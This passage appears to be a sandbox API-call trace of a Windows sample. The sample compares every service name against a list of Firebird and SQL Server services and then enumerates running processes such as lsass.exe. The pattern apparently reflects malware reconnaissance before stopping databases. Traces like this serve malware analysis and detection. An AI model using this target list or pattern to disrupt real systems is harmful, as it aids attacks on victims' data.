(lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0150.146] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0150.146] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0150.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0150.146] lstrlenW (lpString="ClickToRunSvc") returned 13 [0150.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0150.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0150.146] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0150.146] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0150.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0150.146] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0150.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0150.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0150.146] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0150.146] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0150.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0150.146] lstrlenW (lpString="CryptSvc") returned 8 [0150.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0150.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0150.147] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0150.147] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0150.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0150.147] lstrlenW (lpString="DcomLaunch") returned 10 [0150.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0150.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0150.147] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0150.147] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0150.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0150.147] lstrlenW (lpString="DeviceAssociationService") returned 24 [0150.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0150.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0150.147] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0150.147] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0150.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0150.147] lstrlenW (lpString="Dhcp") returned 4 [0150.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0150.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0150.147] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0150.147] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0150.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0150.147] lstrlenW (lpString="Dnscache") returned 8 [0150.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0150.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0150.148] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0150.148] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0150.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0150.148] lstrlenW (lpString="DoSvc") returned 5 [0150.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0150.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0150.148] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0150.148] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0150.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0150.148] lstrlenW (lpString="DPS") returned 3 [0150.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0150.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0150.148] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0150.148] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0150.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0150.148] lstrlenW (lpString="DusmSvc") returned 7 [0150.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0150.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0150.148] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0150.148] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0150.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0150.148] lstrlenW (lpString="EventLog") returned 8 [0150.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0150.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0150.149] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0150.149] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0150.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0150.149] lstrlenW (lpString="EventSystem") returned 11 [0150.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0150.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0150.149] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0150.149] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0150.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0150.149] lstrlenW (lpString="FontCache") returned 9 [0150.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0150.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0150.149] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0150.149] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0150.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0150.149] lstrlenW (lpString="gpsvc") returned 5 [0150.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0150.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0150.149] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0150.149] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0150.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0150.149] lstrlenW (lpString="iphlpsvc") returned 8 [0150.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0150.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0150.150] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0150.150] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0150.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0150.150] lstrlenW (lpString="KeyIso") returned 6 [0150.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0150.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0150.150] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0150.150] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0150.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0150.150] lstrlenW (lpString="LanmanServer") returned 12 [0150.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0150.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0150.150] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0150.150] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0150.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0150.150] lstrlenW (lpString="LanmanWorkstation") returned 17 [0150.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0150.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0150.150] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0150.150] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0150.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0150.150] lstrlenW (lpString="lfsvc") returned 5 [0150.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0150.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0150.151] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0150.151] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0150.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0150.151] lstrlenW (lpString="lmhosts") returned 7 [0150.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0150.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0150.151] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0150.151] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0150.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0150.151] lstrlenW (lpString="LSM") returned 3 [0150.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0150.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0150.151] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0150.151] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0150.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0150.151] lstrlenW (lpString="MapsBroker") returned 10 [0150.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0150.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0150.151] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0150.151] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0150.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0150.151] lstrlenW (lpString="MpsSvc") returned 6 [0150.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0150.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0150.152] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0150.152] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0150.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0150.152] lstrlenW (lpString="NcbService") returned 10 [0150.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0150.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0150.152] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0150.152] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0150.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0150.152] lstrlenW (lpString="netprofm") returned 8 [0150.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0150.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0150.152] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0150.152] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0150.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0150.152] lstrlenW (lpString="NlaSvc") returned 6 [0150.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0150.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0150.152] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0150.152] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0150.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0150.152] lstrlenW (lpString="nsi") returned 3 [0150.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0150.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0150.153] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0150.153] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0150.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0150.153] lstrlenW (lpString="PcaSvc") returned 6 [0150.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0150.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0150.153] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0150.153] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0150.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0150.153] lstrlenW (lpString="PlugPlay") returned 8 [0150.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0150.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0150.153] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0150.153] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0150.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0150.153] lstrlenW (lpString="Power") returned 5 [0150.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0150.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0150.153] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0150.153] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0150.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0150.153] lstrlenW (lpString="ProfSvc") returned 7 [0150.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0150.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0150.154] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0150.154] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0150.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0150.154] lstrlenW (lpString="RpcEptMapper") returned 12 [0150.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0150.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0150.154] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0150.154] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0150.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0150.154] lstrlenW (lpString="RpcSs") returned 5 [0150.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0150.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0150.154] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0150.154] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0150.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0150.154] lstrlenW (lpString="SamSs") returned 5 [0150.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0150.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0150.154] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0150.154] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0150.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0150.154] lstrlenW (lpString="Schedule") returned 8 [0150.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0150.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0150.155] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0150.155] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0150.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0150.155] lstrlenW (lpString="SecurityHealthService") returned 21 [0150.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0150.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0150.155] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0150.155] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0150.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0150.155] lstrlenW (lpString="SENS") returned 4 [0150.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0150.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0150.155] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0150.155] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0150.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0150.155] lstrlenW (lpString="ShellHWDetection") returned 16 [0150.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0150.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0150.155] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0150.155] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0150.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0150.155] lstrlenW (lpString="Spooler") returned 7 [0150.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0150.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0150.155] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0150.156] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0150.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0150.156] lstrlenW (lpString="sppsvc") returned 6 [0150.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0150.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0150.156] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0150.156] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0150.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0150.156] lstrlenW (lpString="SSDPSRV") returned 7 [0150.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0150.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0150.156] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0150.156] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0150.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0150.156] lstrlenW (lpString="StateRepository") returned 15 [0150.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0150.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0150.156] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0150.156] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0150.156] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x64ac08 | out: hHeap=0x5a0000) returned 1 [0150.156] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x108c [0150.663] Process32FirstW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0150.664] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0150.665] lstrlenW (lpString="System") returned 6 [0150.665] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0150.666] lstrlenW (lpString="smss.exe") returned 8 [0150.666] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0150.667] lstrlenW (lpString="csrss.exe") returned 9 [0150.667] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0150.668] lstrlenW (lpString="wininit.exe") returned 11 [0150.668] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0150.669] lstrlenW (lpString="csrss.exe") returned 9 [0150.669] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0150.670] lstrlenW (lpString="winlogon.exe") returned 12 [0150.670] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0150.682] lstrlenW (lpString="services.exe") returned 12 [0150.682] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0150.683] lstrlenW (lpString="lsass.exe") returned 9 [0150.683] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.684] lstrlenW (lpString="svchost.exe") returned 11 [0150.684] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0150.685] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0150.685] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0150.686] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0150.686] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.687] lstrlenW (lpString="svchost.exe") returned 11 [0150.688] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0150.693] lstrlenW (lpString="dwm.exe") returned 7 [0150.693] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5c, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.697] lstrlenW (lpString="svchost.exe") returned 11 [0150.697] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.699] lstrlenW (lpString="svchost.exe") returned 11 [0150.699] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.702] 